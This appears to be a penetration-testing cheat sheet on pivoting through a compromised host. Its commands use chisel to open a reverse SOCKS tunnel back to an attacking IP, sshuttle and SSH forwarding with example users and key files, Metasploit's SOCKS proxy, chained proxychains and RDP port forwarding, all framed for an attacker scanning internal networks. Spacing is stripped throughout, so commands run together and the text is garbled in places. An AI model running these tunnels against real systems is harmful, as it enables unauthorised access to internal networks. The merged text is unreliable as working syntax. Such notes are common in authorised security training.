# Clone Repositorygitclone'https://github.com/jpillora/chisel.git'# Build Binarygobuild# Binary is now built and ready to be transfered over to target system.
Reverse SOCKS proxy
# Attacking Machine./chiselserver-p<Port>--reverse&./chiselserver-p1337--reverse&# On Target Machine./chiselclient<Attacking-IP>:<Port>R:socks&./chiselclient10.50.46.8:1337R:socks&# Then use Proxychains to scan internal networks from the compromised host.
Shuttle
# Authenticate with passwordsshuttle-r<User>@<Target-IP><Target-Subnet>-x<Target-IP>sshuttle-ruser@172.16.0.5172.16.0.0/24-x172.16.0.5# Authenticate with key.sshuttle-r<User>@<IP>--ssh-cmd"<Command>"<TargetSubnet>-x<ExcludeIP>sshuttle-rroot@10.200.48.200--ssh-cmd"ssh -i id_rsa"10.200.48.0/24-x10.200.48.200
SSH
# Forward RDP from internal host to Attacking Machine on port 1337.ssh-L<LocalHost>:<Port>:<IP-To-Forward-From>:<Port><User>@<IP>ssh-L127.0.0.1:1337:10.200.48.150:3389root@10.200.48.200-iid_rsa# Forward remote port 80 to local port 80.sshatena@10.10.72.69-L80:127.0.0.1:80ssh<User>@<IP>-L<Local-Port>127.0.0.1<Remote-Port># Dynamic SSH Port Forwardingssh-i<id_rsa><User>@<IP>-D<Proxychains-Port>ssh-iid_rsaerrorcauser@10.10.254.201-D1080
Metasploit with Proxychains
Change last line in /etc/proxychains4.conf to the following value: socks5 127.0.0.1 1080
Then use the following Metasploit module:
useauxiliary/server/socks_proxy
Set module options to the following (Default):
Module options (auxiliary/server/socks_proxy): Name Current Setting Required Description-------------------------------------- PASSWORD no Proxy password for SOCKS5 listener SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on USERNAME no Proxy username for SOCKS5 listener VERSION 5 yes The SOCKS version to use (Accepted: 4a,5)
We can then force applications to use proxychains by initiating commands with the command proxychains first.
# /etc/proxychains.conf# Ensure dynamic_chain is uncommenteddynamic_chainproxy_dnstcp_read_time_out15000tcp_connect_time_out8000socks5127.0.0.11080# First Pivotsocks5127.0.0.11081# Second Pivot
Port Forward
Meterpreter can be used to portforward for access to file shares and web servers.
Essentially as per the example command above we could connect to RDP on our local port in order to hit the remote port.
rdesktop127.0.0.1:3333
xFreeRDP
Whilst not a direct pivoting technique, using xFreeRDP to share the hosts file system can give the attacker an easy route for moving files across systems to further assist with pivoting